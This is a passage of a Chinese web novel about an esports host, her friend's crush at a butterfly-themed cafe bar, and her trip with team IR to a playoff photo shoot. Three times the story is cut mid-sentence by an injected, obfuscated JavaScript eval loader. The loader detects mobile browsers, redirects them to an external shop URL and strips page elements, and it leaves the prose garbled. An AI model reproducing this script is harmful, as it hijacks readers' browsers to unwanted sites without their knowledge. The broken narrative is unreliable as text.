看到刚发布的季后赛赛程,解说主持群聊里热闹起来,纷纷开始对赛果进行预测,只是大家很默契地完全不提夏冠花落谁家,这段赛事已经被默认为亚军之争。 只有解说米娅突然口出狂言:夏冠必是TNG,我说的! 她常驻南方赛场,跟阳城TNG关系比较好,睁着眼睛说瞎话也算情有可原。 连昼无聊,跟着喊了一句:“云州ZYG不夺冠我连吃两天火锅!” 米娅:小昼昼不学好,净学些骗吃骗喝的。 连昼正要打字回复,界面上猝不及防跳出一通电话,她顺手就点到了接听,听筒对面一道女声格外温柔:“我在小云端很想你。” 连昼抬眼看了看备注名,不敢确认,又看了看:“陈霁?” 陈霁温声细语地重复一遍:“我在小云端很想你。” 小云端是高校区附近的一间咖啡酒馆,坐落在创意街区的梧桐树荫里,印象中有个很漂亮的大露台,她们大学时常去打发周末,毕业这一年就再没去过了。 连昼奇怪:“你怎么去那里了?” “在怀旧。”陈霁道,“快来一起追忆似水年华。” “你又喝多了?通宵了?” 对面音量忽然提高:“没有,我不怎么喝酒的啦,在喝咖啡。” 连昼:……? 是大雨让这座城市颠倒了吗? 她看向窗外,天气明明已经放晴了。 进入七月的第一天,云州阳光刺眼,路边香樟树叶被照得光泽油亮,空气里涌着柔和的热浪,源源不断地从落地窗缝往房间里钻。 连昼从行李箱里挑出白色针织吊带和轻薄工装裤换上,路过镜子时瞥见自己苍白到显眼的脸,脑中突然冒出一个荒谬的念头: 今时不同往日,我已一战成名。 于是她杯弓蛇影地添上了棒球帽和口罩,又把帽檐往下压到最低才出酒店。 小云端的装修跟记忆中大不相同,穿过梧桐树荫,一段复古涂鸦台阶把人引上二层。二层的大露台被遮阳顶覆盖,靠右新砌起两面高墙,形成一个半包围的吧台。 连昼一上去就被那两面高墙吸引了视线。 浩荡满目的蝴蝶标本,从挤满花叶的吧台后蔓延而上,一直延伸到遮阳顶上,声势壮阔。标本边框是透明的,淡白波光从背景墙里流出,静谧的蝴蝶影影绰绰,云蒸霞蔚。 “昼昼,这里。” 连昼目光在蝴蝶墙上流连一秒,才慢吞吞地回神。 陈霁一眼看破,有点无语:“就这么喜欢蝴蝶?我都不喜欢了。” 连昼坐到她对面:“你什么时候喜欢过蝴蝶啊。” “我是说蝶神,你忘了,还是我带你去看的比赛。” 陈霁摆弄着咖啡勺,“三年了吧,我都不喜欢了,你还念念不忘呢。” 她手中勺子碰到陶瓷杯壁,清脆一声响。 也许是坐在令人怀旧的地方,一些令人怀旧的场景逐帧闪进脑海,像老电影似的,冒着星星点点的荧光。 连昼还记得那天应该是春季决赛,她被陈霁拉出校门,第一次去看《OG》线下赛事,当时她只在课后打打游戏,没怎么看过职业联赛,所以台上十个选手一个都不认识。 最后一把决胜局战况激烈,耳边欢呼声一浪一浪喊着Morpho,红蓝光影交错中,她的手机忽然震动,陈霁瞥了一眼,无声尖叫:你被抽中幸运观众了,什么运气! 幸运观众可以在赛后上台互动,可惜连昼不认识选手,也没什么想互动的,最主要是那天她刚输掉一场辩论赛,对什么都兴趣缺缺。 于是最后换了陈霁上去。 连昼在观众席坐着,场馆里人影攒动,昏灯遮眼,实在看不清台上的人,只能听见陈霁跟她最喜欢的选手互动,语气透着雀跃,开口却是“我有个朋友今天也来观赛,她今天心情不好,可以请Morpho选手替我鼓励她吗”。 连昼微微愣怔。 正前方大屏上,那位叫Morpho的陌生选手看着镜头,与川流人海中陌生的她遥遥对话,赛后略带疲惫的嗓音沙哑而柔和。 时隔三年,声音清晰得如同昨日,画面却早已模糊。 “没那么夸张,我只是觉得蝴蝶好看。”连昼从回忆抽离,笑了笑,“什么念念不忘,你别给我立人设。” “你的人设还用我立?” 陈霁一针见血:“现在全赛区谁不知道你的人设,‘少爷类蝶领军人物’,你可以把这个履历写进微博认证。” 提起这事就两眼发黑。 连昼点了份简餐,一边啃沙拉一边给陈霁复盘事发第二晚到处低声下气的过程。 陈霁一边听一边笑:“他是不是真的很像蝶神?” “脸确实很像,像得我头晕……” 听到给Serein投喂守护神时,陈霁的笑声持续增强,连昼伸手想要捂她的嘴,陈霁侧身一躲,手肘碰到咖啡勺,一阵丁零当啷的动静。 吧台里两个男服务生闻声抬头,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545566|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中一个放下杯子,走了过来。 陈霁突然收敛坐姿,接过服务生新送来的勺子,矫揉造作地:“谢谢。” 男生礼貌点头,转身返回。 这次换连昼一眼看破,调侃她:“难怪突然到这里来喝咖啡哦。” 陈霁嘴硬:“这两个服务生是我们本校在读学弟,来兼职的,支持一下怎么了。” 中午来咖啡酒馆的客人稀少,两个男生不算忙碌,连昼回头观察陈霁心仪的那位男嘉宾,肩宽腿长麦色皮肤,梳着侧背头,确实挺帅的。 陈霁碰碰她的膝盖:“你也太明显了。” 男嘉宾显然也感觉到了,目光相对,远远地一笑。 人尴尬的时候会有些不由自主的小动作,连昼下意识低头,手指胡乱戳了戳手机,却不知道在通知栏戳到了什么推送,霎时间,一阵刀光炮影的战斗声炸了出来。 陈霁差点吓得又甩掉勺子:“你在看什么?” “我也不知道……”连昼退出页面,没想到小屏幕挂起噪音依旧,她手忙脚乱地按侧键把音量降到最低。 静好音仔细一看,金鱼站,Serein直播间,正在神谷乱斗。 自己的守护神账号进入直播间时有专属特效,酷炫的神杖动画从屏幕上方垂落,昭告世界尊贵的守护神此刻莅临现场。 ……倒也不用这么引人注目。她单方面地尴尬了一下。 不过少爷怎么七月第一天就在直播?上个月不还拖到月底吗,他不像是会积极完成任务的人啊。 陈霁见她盯着屏幕,好奇地凑过来要看。 连昼立即关闭直播间:“没什么,不小心碰到了。” 话音刚落,还未休眠的屏幕上跳出一条微信。 【Serein司偕:1】 连昼的手指顿住了,不知为何有点心虚地看了一眼陈霁,陈霁也茫然地回看一眼。 “1是什么意思?” 连昼摇摇头:“不知道。” 陈霁催促:“那你问他什么意思啊?” 连昼稍加思考,笃定道:“等五分钟。” 陈霁一头雾水,听话地跟着一起等。 午后的日光尤为燥热,微弱的蝉声在高树深叶里嘶鸣。 恍然间像回到了前几天的雨夜,淅沥雨声和高低蝉声慢慢混杂一体,裹住了这份不太有底气的等待。 沉默片刻,连昼突然没头没尾地说:“其实他一点也不像Morpho。” 陈霁不明所以,没搭理她,专心致志地数着时间等消息。 【Serein司偕:走了?】 果不其然,大概在五分钟到达的前几秒,微信消息款款而至。 连昼在陈霁崇拜的目光里硬着头皮打字:误触推送,入场特效关不掉,打扰了。 【Serein司偕:误触?】 连昼耐心心跟他解释:【就是不小心点到的意思】 【Serein司偕:。】 【Serein司偕:那你听见了吗】 【连昼:听见什么?我刚刚静音了】 这条消息发过去石沉大海,等了一轮五分钟,仍然没有回复。 陈霁在屏幕外追问:“听见什么?” 连昼被拉扯得有点心烦:“我哪知道,不想管他了。” “那就不管了。”陈霁捏她气鼓鼓的脸颊肉,迟来地附和一句:“说得对,他一点也不像Morpho。” 5. 有对家粉! 在小云端坐到下午五点左右,酒馆里客人陆续增多,两位兼职服务生忙碌起来,身影来来往往地穿梭于卡座吧台之间。 陈霁聊着聊着就没了声音,视线追着侧背头男嘉宾来回绕。 连昼敲敲桌面,故意阴阳怪气:“要不然妹妹我就先走了。” 陈霁敷衍地随口接话:“你要去哪里啊,去主持季后赛吗?” 这个已读乱回的问题反倒把连昼问住了。 今年夏季季后赛落地奚城。奚城一般会由另外两位资历更深的主持人负责工作,如果人手够用的话也许就不会安排她随行。 更别提就在前几天,她的采访还留下了一段腥风血雨的案底。 连昼答:“不好说,也许我已经进入了一个超长假期。” 按以往惯例,赛前一周就会收到逐日工作排班表,这次到现在还没有,可能是真没戏了。 陈霁听出她情绪不佳,起身把她拉到吧台:“来,今天姐姐陪你喝一杯。” 天色逐渐暗下来,光线不像正午时那么明朗,吧台蝴蝶墙上方顶光被打开,满墙标本框后面的流动灯照得斑斓蝶翅波光荡漾,整个酒馆的氛围感在夜色里拉满。 连昼挑了个靠近蝴蝶墙的位置,云里雾里地看吧台上摆着的顾客推荐指南。 她平时不怎么喝酒,跟酒的熟悉程度一般,拜读半天没有头绪,直接挑了杯看起来花里胡哨的甜冻樱花酒。 陈霁的酒量则截然不同。 连昼把指南推给陈霁,等着看她发挥。 但陈霁今天似乎铁了心要立稳“我不怎么喝酒啦”的人设,竟然只点了两杯度数很轻的水果酒酿,一边点单还一边装模做样地嘀咕:“我对酒也没什么研究,不知道好不好喝呢。” 吧台里那个侧背头的心动男嘉宾把酒送过来:“学姐慢用。” “谢谢学弟,你忙吧。” 陈霁轻声细语,温柔得让人害怕。 连昼小声问:“他怎么知道我们是学姐?” 陈霁凑到她耳边:“当然知道,因为我微信已加,一周内拿下。” “……” 还以为她转性了,看来没什么变化,估计下一步就是“两个月后甩掉”。 两人有一搭没一搭地闲聊,也许是蝴蝶墙带来的氛围感把人浸得酒兴大发,连昼越喝越快,手中樱花酒转瞬见底,觉得不够,还想再点一杯。 这次是另一个服务生在吧台接待,看见连昼举起的手,笑着劝告:“连昼学姐,喝慢点哦,樱花酒后劲很高的。” “你认识我?”连昼瞪大眼睛。 男生点头:“对啊,你和陈霁学姐的辩论社在学校很出名,我大一时还看过你打辩论赛,不过你很快就毕业了,没机会让你也认识我。” 他这几句话说得礼貌又真挚,连昼却自顾自地尴尬起来。 大学时期她确实算是学校里的风云人物,去年毕业册上还占着首页大特写,一副即将成为顶尖人才的样子——现在却在这里郁郁不得志地喝闷酒。 她生硬地转移话题:“那你给我推荐一杯没有后劲的吧。” “这款不错,青柠酒。”男生端来一杯剔透果酒,没有立刻离开,“学姐,前两天你还上热搜了。” “……” 怎么到哪都躲不开这件事! 连昼强颜欢笑:“啊,你也看到了。” 男生眨了眨眼:“对,我一直都看《OG》比赛。” 接着,他来了一句,“我是Serein粉丝,那天直播看见是你采访Serein,还挺惊讶的。” 这下连昼是半个字都说不出来了。 男生赶尽杀绝:“后来我看见论坛里有人说,你是Morpho的粉丝?” “……以前的事了。”被对家粉贴脸开大,连昼表情僵硬,说出口的话简直不受自己控制,“现在觉得Serein也挺强的,我也喜欢。” 男生没忍住笑出了声,主动解围:“学姐别紧张,我只是随便问问,你们聊,不打扰了。” 目送他转身离去,连昼才劫后余生似的松了口气,陈霁在旁边笑得停不下来:“原来……这就是传说中的……对家粉线下战……” 连昼捂住她的嘴:“别笑了,再笑我就把你的心动男嘉宾喊过来观赏。” 话音刚落,眼前光影一暗,侧背头男嘉宾恰恰好回到吧台。 大概是听到了只言片语,他问:“学姐要观赏什么?” 陈霁立即止住笑,一派胡言地甩锅:“观赏蝴蝶,这个学姐特别喜欢你们的蝴蝶墙,缠着我说以后还要过来观赏。” 男嘉宾闻言,挑眉一笑:“好啊,期待以后经常见面。” 连昼:…… 这二位真是高手过招。 作为局外人,她只想在这场爱情游戏里尽量减少存在感,于是装聋作哑地拿出手机假看,没想到点亮屏幕的一瞬间,正好撞进来一通电话。 来电显示是苏西。 电话接通,她张口就问:“你在哪里,明天下午能到奚城吗?” 茫然了一瞬,连昼如实回答:“我在云州,明天下午不一定能到,很急吗?” “奚城这边人手不够,临时调派你过来。” 听筒那边传来簌簌的声音,像在纸上飞速划着什么符号,“这几天正在拍季后赛国风宣传片,主持人也都要拍摄定妆照,你需要尽快到场。” 连昼有点犹疑。 临时调派去主持季后赛,听起来是天降好饼,可为什么是她? 不是没有更合适的主持人,而且季后赛算是联赛内的首席赛事,不至于把这个舞台用来锻炼新人吧。 K苏西似乎猜到她的疑惑,补充解释:“上次的话题还有余温,不用白不用。” 连昼脑中灵光一闪,明白过来:“我和Serein?” “还不算太笨。”苏西那边劈里啪啦敲了一顿键盘,干脆利落,“明天没票就后天上午,正好IR记错日期了还在云州闲逛,你跟IR一起过来,我让他们经理联系你。” “不不不……” 连昼连声拒绝,只是说完几个“不”之后,她也不知道能用什么理由来支撑自己的拒绝。 “他们知道流程,你跟他们走,给我省点事。” 苏西下达最终指令:“我现在忙死了,乖啊,服从安排。” 电话被不容拒绝地挂断,陈霁马上凑过来:“你和Serein?怎么了?” 真会抓重点,这么长的对话愣是只听到这一句。 连昼瞥了一眼不远处的对家粉学弟,含糊道:“没什么,上司通知我这两天去奚城报道,季后赛主持不够用,我去凑人手。” “那你不是又要碰到Serein了?”陈霁短暂惊愕过后,表情马上转为同情,“我建议你不要跟他同框了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545567|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,有多远跑多远,不然你将永无宁日。” 好建议,但可能做不到。 连昼默默举起青柠酒,抿了好几口:“我得思考一下戴面具出镜的可行性。” 第二杯果酒喝完时间已晚,连昼提出要回去收拾行李,陈霁担心喝完酒打车不安全,特意叫来自己相熟的司机大叔送她回酒店。 连昼没有推辞,临走之前,她回头看了一眼蝴蝶墙,双眼朦胧地举起手机,调整好角度。 陈霁无语:“你打开的是日历,不是相机。” 连昼听话更正,然而手指划来划去,还没找到相机图标,身后一道快门声已经先行一步。 对家粉学弟不知何时站了过来,见她回头,右手从容地举起一个粉色拍立得。 “学姐站在蝴蝶里很好看。”他指了指台阶右侧那面照片纪念墙,“我可以把你的照片贴上去吗?” 这个学弟的眼睛长得无辜可爱,一头奶茶棕色卷发看起来像小狗绒毛。 明明是有些冒昧的举止和请求,但他这样率真地看过来,莫名地让人难以拒绝。 连昼只能慢吞吞答应:“好吧,最好贴在角落。” 学弟眼睛一亮:“那学姐方便留一下联系方式吗,我贴好之后给你检查。” 连昼被这一声声学姐叫得飘起来,她无法抗拒蝴蝶,同样也无法抗拒眼睛亮亮的小狗。 无法抗拒的她留下了微信,并被央求着当面通过了好友验证。 在车上落座时,小狗学弟如约发来了照片墙角落里的拍立得相片。 相片大半幅画面铺排着流光溢彩的蝴蝶,她站在蝴蝶墙前,白皙单薄的侧影虚晃不清,荧荧一点眼神光却清亮可鉴,与满墙沉睡的蝴蝶错影相望。 确实拍得很好看,她保存下来,就着醉意糊里糊涂地转发到自己荒芜已久的朋友圈。 小狗学弟第一时间点赞评论:[是谁镜头里的学姐这么美啊?] 陈霁的骚话紧跟而至:[好无助,路过被美女绊掉了裤衩] 连昼没忍住笑了一声。 司机大叔听到这声平白无故的笑,从后视镜里望了一眼,只当她酒意上头神志不清,悄悄帮她按下了后座车窗。 车窗外夜景奔流不息,和缓的风声从耳边拂过,营造出一种风平浪静的松弛感。 连昼的神思开始涣散,那杯樱花酒的后劲涌上来,慢慢变成控制不住的困意。 就在快要闭眼之时,膝盖上手机骤然震动,她反应迟钝地垂眸一扫。 【Serein司偕:1。】 111,什么都说不出来,只会莫名其妙地1。 刚好转的心情又被扰乱,连昼借酒意壮胆,直接已读不回,顺便还把他的聊天框设置为免打扰。 从源头上解决问题,眼不见为净。 到酒店的路程还有半个小时,她靠倒在椅背,原本只想休息一下,最后却还是听着风声沉入了梦境。 就在这仅仅半小时的半醉半醒里,她竟然做完了一个刁钻古怪的梦。 梦见骄阳明媚的天气里,匪夷所思地跑来了一只淋雨的小狗。 小狗狼狈地甩着雨水,叫声呜呜咽咽,眼神湿漉漉地仰视她。 她摸了摸落汤小狗头顶,小狗用脑袋蹭她的手,温热的雨水从它毛发过渡到自己手心,有格外真实的触感。 可是抬头一望,天气分明晴光万里。 6. 换位置 IR经理尼克是个热情的自来熟,不容连昼推拒,大清早非要来接她一起去机场。 连昼拖着行李箱走出酒店大门,一辆公主粉色考斯特等候多时,漆着IR芒星队标的车门缓缓移动,尼克圆嘟嘟的脸探出来:“昼姐,上来!” 连昼被这声荒谬的昼姐吓得一激灵,连声婉拒:“叫我昼昼就行,尼克哥。” 这辆豪华中巴上还有五六个工作人员,个个眼圈乌黑,头点啊点地睁不开眼,打招呼的声音萎靡不振。 只有尼克神采焕发,扭头来问连昼困不困,困的话可以去后面的沙发床眯一会儿。 连昼顺着他的视线望过去,车尾还真有一张航空座椅沙发床,只不过上面已经躺着两条长长的人。 左边那个姿势内敛,侧卧着让出更多空间,一头黑发顺毛,看起来像是季明礼。 右边的睡姿就稍显随意,双臂半展占着大半地盘,薄毛毯盖住了肩膀和脸,长腿无处安放似的搭在床沿。 不知为何,一眼就能认出是AD少爷。 尼克憨憨一笑:“昨天熬夜训练来着,我去把他们叫起来,你去。” 连昼小声阻止:“不用,让他们好好休息吧,我不困。” 尼克还要客气,旁边突然冒出一个毛茸茸的脑袋,随之而来一句口音奇怪的询问:“几颠,现在?” 是IR的辅助Dzz,那个采访从来不肯带翻译的小韩援。 听起来他的中文水平果然如传闻一样不乐观。 连昼看了一眼手机:“六点十分,还有三十分钟到机场。” Dzz睡眼朦胧,呆呆地哦了一声,然后继续神游,显然还没彻底清醒。 尼克低头翻了会儿手机,得到最新消息,忍不住笑出声:“上单打野大早上就到了奚城,结果俩人在场馆门口一直晃到现在,不敢进去。” 连昼惊讶:“他们已经到了?” 尼克边笑边解释:“上单恐高,每次都是打野陪他坐高铁,昨天连夜出发的。” 为了拯救不敢进场馆的上野兄弟,尼克作了个手势,去打电话跟奚城的工作人员联络,顺便确认那边的拍摄流程。 他电话打得久,连昼独自坐着,渐渐地感觉到冷。 上车时随便在后排坐了个位置,没注意正好对着冷气口,她只穿了件针织短袖,被冷风吹得微微瑟缩,但又不好意思自行走动换位置,只好把随身的帆布包竖起来挡在身前,这样才稍微回暖了一些。 帆布包上坠着一个可达鸭挂件,随着车身行进轻轻晃动,连昼发着呆,手指有一搭没一搭地摆弄它。 Dzz冷不丁凑了过来:“???(韩语:可达鸭)。” 连昼点头:“对,中文叫可达鸭。” Dzz戳了几下可达鸭,反应过来:“尼听懂,韩国话,我说?” 没想到以前参加中韩辩论节目苦学的韩语在这种场合下还能发挥余热。 连昼面对他支离破碎的语序沉默了几秒,好心建议:“??????(我们说韩国话吧)。” 小韩援青葱水嫩的眼神里流露出一丝受伤。 他跟中文的羁绊也算是赛区著名凄美传说,米娅曾在群里一阵见血地形容:它逃,他追,它逃,他追追追追追追不上。 心生不忍的连昼摘下了可达鸭挂件:“你喜欢吗?” Dzz眼睛一弯:“惜欢,给我?” “给你,”连昼不自觉夹起了声音,像哄小孩一样,“我还有一个超大的摆件,以后有机会送给你。” 话音落下就听见背后一声冷笑,两人齐齐回头。 车尾休息的中单和AD不知道什么时候醒了,正坐在沙发床沿,两脸无神地看着他们。 Dzz脸一黑,问:“刚柴,谁笑?” 季明礼淡定指认:“司偕。” 连昼条件反射地看向AD少爷,恰好对上他隔空投来的视线。 被刻意模糊掉的尴尬记忆涌了上来,连昼不自觉地闪了闪眼神,又怕自己的怯场太明显,硬撑着没有避开。 司偕的眼神说不上和善,却也没有预想的那样冷硬,就这么直勾勾地望过来,看不出情绪。 连昼看着看着,逐渐有些晃神。 他真的有一张和Morpho太相似的脸,此刻目不转睛地盯着这张脸,竟然盯出了一种久别重逢的错觉。 她不由自主地抬起手,想打个招呼,结果司偕率先移开眼睛,板着那张似曾相识的脸看向车窗外,整个人明晃晃地写着不熟勿扰。 好吧,他果然不是故人。 久别重逢的错觉倏尔消散,连昼问候落空。 不过她一向善于接受改变,唇边问候灵活地拐个弯,转向季明礼:“Monsoon,好久不见。” 季明礼面露不适:“别装,能直接叫名字吗?” 连昼还没出声,司偕先转回了脸,语气不咸不淡地:“你们认识?” 季明礼看白痴一样:“废话,你上次没发现,现在才问?” “哦哦哦!早就愣识哦~” 韩国人像基因里自带什么人类观察员血脉,Dzz话说不了完整的一句,起哄倒是轻车熟路。 他举着可达鸭激情追问:“为森么,你们愣识?” 这时候要是来一句“因为差点订婚认识的”可能会天下大乱。 连昼念头转了转,随口敷衍:“工作认识的,不熟。” “跟她认识很难吗?流浪狗路过都能被她摸两下。” 季明礼冷哼一声,团起手边毛毯抛了过来,“就像刚才送你可达鸭一样。” 薄薄的毛毯不偏不倚落在连昼膝盖上,在空调风口下雪中送炭。 连昼由衷地觉得季明礼这人聪明得让人害怕,就算不打电竞回去继承家业也能是个叱诧风云的经商天才。 她敬畏道谢:“你真厉害。” 季明礼撑着下巴阴阳怪气:“你也厉害,随时随地投喂流浪狗。” 两人你来我往一番谜语,身为流浪狗之一的Dzz吃不上明白瓜,急得扒拉刚打完电话的尼克。 尼克亮亮的脑门被闹得又亮了一点:“别吵了别吵了,到机场了啊,准备下车!” 工作人员纷纷起身,连昼在后排透过防窥车窗向外扫了一眼,顿时眼皮一跳。 外面有十几个女生,有的举着IR的应援手幅,有的背着单反,正守在停车口四处张望。 其中一个似乎看到了IR专用车,朝这边指了指,一行人机敏地盯过来。 不是没听说过IR粉丝狂热,却也真没料到他们已经发展出接送机业务了。 如果让她们拍到自己和司偕一起下车…… 连昼简直不敢想,迅速戴上口罩,再低头翻翻包,才想起自己出酒店时走得急,棒球帽搁在沙发上忘记拿了。 Dzz在旁边看见她动作,七零八落地问出一堆乱码:“澡森,你,澡森么?” 连昼也不管他在说什么,逮住就问:“你有带帽子吗?” 话刚出口,眼前一暗。 一顶帽子轻轻扣了下来,几点手指的触感隔着棉料停留在头顶。 “我有。”来人语气生硬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545568|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连昼抬眸,长长宽宽的帽檐遮去了大半视野,只能看见眼前一片宽绰的纯白棉T,银色蛇骨链委延进领口。 顺着向上,才勉强看见司偕线条立体的下半张脸,鼻梁一颗痣若隐若现,嘴唇微微抿着,似乎支吾了句什么。 她没听清,微微仰起头,停留在头顶的手指倏地撤离。 司偕在车厢过道里后退半步,也垂眼看她。 很蹊跷,每次跟他四目相对,总有种秒速被无限拉长的焦灼感。 这次连昼没能硬撑到底,飞快错开了视线,小声说:“谢谢。” 她自己按好帽子起身,司偕却堵在过道里,不往前走也不让路。 连昼问:“怎么了?” 司偕顿了顿,把臂弯里的黑色外套搭进她手里:“飞机上也冷。” 说完转身就走,不留拒绝的余地。 连昼倒也不想拒绝,匆忙把外套披在身上,压低帽檐跟下车。 耳边一阵快门声,闪光灯怒闪十几下,粉丝果然亦步亦趋地挤过来,好在她们还算克制,保持了一步距离。 连昼混在IR队伍里,遮遮掩掩假扮工作人员。 两个女粉丝递上几杯饮品:“IR季后赛加油哦。” 尼克挡在最边上,礼貌回绝:“不好意思,食物不能收。” “那可以收娃娃吧。”另一个女生甜甜地央求,“粉丝群自制的,不交到你们手上我会被处决,求求啦。” 尼克摆摆手没有接。 那女生跟上来,把怀里的大牛皮纸袋随手一塞:“姐姐,麻烦你了。” 走在队伍末尾的连昼猝不及防抱了一手娃娃,愣了一下,有点茫然。 “谢谢你们。”季明礼停下脚步,挡在连昼面前,“我们赶时间,欢迎下次来看比赛。” “那你们收好哦。” 女生向后指娃娃,视线绕过他落在后面的连昼身上,忽而眼睛眯了眯,表情迟疑,“欸,这个姐姐……” 连昼马上用牛皮纸袋遮住脸,装作没注意他们,小跑着赶到队伍前面。 快步流星走在最前端的是司偕,听见她追上来,偏头看了一眼。 连昼顺势往他身边凑了凑,借他宽挺的身形挡住自己。 司偕却突然伸手,把她用来挡脸的纸袋提了过去:“看路。” 突然暴露无遗的连昼:“……” 还好他们步子快,顷刻间就走开了一大段距离,应该不至于被认出来。 两个人不太自然地并肩而行,司偕慢下脚步,换了另一只手拿纸袋,很随意地问:“怎么不说话?” 换作平时或者换作别的什么人,连昼也许会没话找话防止冷场,但对着少爷,她只怕自己说多错多。 所以她稳妥地反问:“说什么?” 司偕把脸转回去,声音冷淡,漫不经心似的:“那就不说了。” 连昼不明所以,也不想跟他继续古龙式对白,干脆顺应他的提议直接噤声。 一路无言地过了安检,大家陆续登机落座。 他们座多难调,经过一轮不太友好的讨价还价,季明礼和Dzz被单独发配到机尾,叽叽咕咕地走了。 连昼的位置在过道边上,尼克细心,特意来问要不要跟他换到另一侧靠窗。 她望向尼克手指的位置,位置旁边司偕背靠座椅,已经神速闭上了眼睛,一副什么也不关心的样子。 ……明明他存在感极强的睫毛还在一颤一颤的。 不知道自己是不是又得罪了少爷,连昼犹豫一下,违心拒绝:“不用了,我刚好喜欢过道。” 7. 你好看 事实证明,苏西对IR的信任是不值得信任的。 超过预约时间一个小时,一行人才满头大汗地赶到拍摄场地。 因为在机场走错出口又报错位置了,辅助行李拿混了,经理手机弄丢了,来接送的司机在高速绕圈了…… 凌乱得离谱,但转念一想是IR,发生这些事倒也合理。 他们一进门就被工作人员劈头盖脸一顿数落,提前到达的IR上野两人趴在休息椅上,跟着浑水摸鱼:“就是就是,太没素质了,IR名声都被你们败光了!” 连昼混在IR队伍里一起唯唯诺诺道歉,一抬眼看见熟识的化妆师栗子正对她挤眉弄眼。 由于拍摄时间紧张,认错态度良好,大家就也没跟他们多计较,很快四散开各自做妆造。 栗子把连昼挽到最里面的化妆位,一边上底妆一边八卦:“你怎么跟IR一起来?” 连昼:“苏西姐安排的,这样方便。” 栗子瞬间理解:“苏西姐现在是统筹,可忙可忙了。” 话锋一转,“不过我想问的是,你怎么敢跟少爷一起来的啊?” “……”连昼含糊解释,“还好啦,他挺好的,什么敢不敢。” 说着不自觉地侧目,视线追寻到对话里的主角。 司偕就坐在同一边,维持一贯的高冷寡言,从进来开始就没发出过声音。 他们之间只隔着一个空位置,能够很清晰地看见他的侧脸,五官精致鼻梁高挺,那颗痣似乎被化妆师用眼线笔刻意加深了一些,更加显眼。 连昼有些出神地盯着那颗鼻梁痣,却见司偕鼻子皱了皱,忽地轻打了个喷嚏。 身后的化妆师拍拍他肩膀:“空调这么低,你不穿个外套?” 连昼如梦初醒,低头看看自己。 他的外套还在自己身上。 可是这会儿众目睽睽,脱下来还给他显然太突兀,但继续占为己有也有点于心不安,他都快感冒了。 她捏着衣角兀自纠结几个来回,终究还是良知占了上风。 刚把外套拉下肩膀,就听见司偕的声音隔着空位传过来,不高不低,坦坦荡荡:“不用还我,我没事。” 周围瞬间安静,几簇视线齐刷刷聚焦于此。 连昼顶着众人关注,强装镇定,脱下外套递过去:“不行,你不能感冒。” 没几天就是季后赛,要是害他生病影响比赛,自己还能在微博私信里死一万次。 司偕没有接,语气似乎带上了一点温度:“你穿,没关系。” 两人彬彬有礼互相推让,局面突如其来地僵住了。 栗子从后面沙发拿起一件披肩,尬笑:“没想到吧,我有这个。” 连昼顺势下台阶,把外套精准抛入司偕怀里,自己围上披肩:“这样就好了,你快穿上。” 一段插曲虎头蛇尾地结束,大家若无其事散开,回归各自岗位。 栗子戳了戳连昼耳朵,连昼疑惑地从化妆镜里看她,她却笑而不语,一脸促狭。 莫名其妙地,搞得连昼耳尖都有点发热。 奚城赛事的主题一直是瑰丽国风,每次拍宣传照都大费周章极尽华美,光是妆容发型就耗了不少时间,拖到下午两三点才去换汉服。 摄影姐姐跟进更衣室,仔细打量一番连昼的长相和身形,快刀斩乱麻,二话不说选定了一套白袍红腰直裾袍,催她赶紧换好开始拍摄。 也许真的太赶时间,连昼换好衣服被带进摄影棚,只被指导着懵懵地摆了些动作,甚至没看清有几个镜头,就被一声“OK辛苦了”推出镜外。 背景和灯光撤下来,摄影姐姐满意地速览底片:“嗯,好看,就这样可以了。” 妆造两小时,拍摄十分钟。 连昼不太放心:“真的可以了?” “可以可以,你很好拍。”另一个汉服专摄附和,“太适合红白袍了,这组片我命名为公主复仇记。” …… 也行,专业的事情交给专业的人士鉴定吧。 连昼听话地收回疑问,低调退场。 摄影棚里到处横着架子和导线,她的战国袍长摆拖地,一步一绊,走得格外艰难。 挪步到门口时,迎面遇上了下一批拍摄的IR队员,连昼走不快,自觉退后让他们先过。 好像被设置了某种既定程序似的,五个男生连进摄影棚都严格按照上、野、中、下、辅的顺序,踩着统一的黑皂靴走得目不斜视。 掩在门后没被发现的连昼顺势留了下来,趁这个机会近距离观察CGL知名电竞男团。 上野两人都穿着黑圆领袍金腰带,Dzz和他们装束一致,只是外袍换成了更适合他的明黄色;季明礼则是蓝底白绣交领外袍,手上配一把折扇。 最亮眼的一抹红色是司偕,连昼眼神落过去就移不开了。 他身上应该是唐制式的鲜红圆领袍,穿法随性地侧翻双领,腰间勒着两圈黑金蹀躞带,马尾用红色长发带高高束起,肩臂里倚住一柄纯黑细剑。 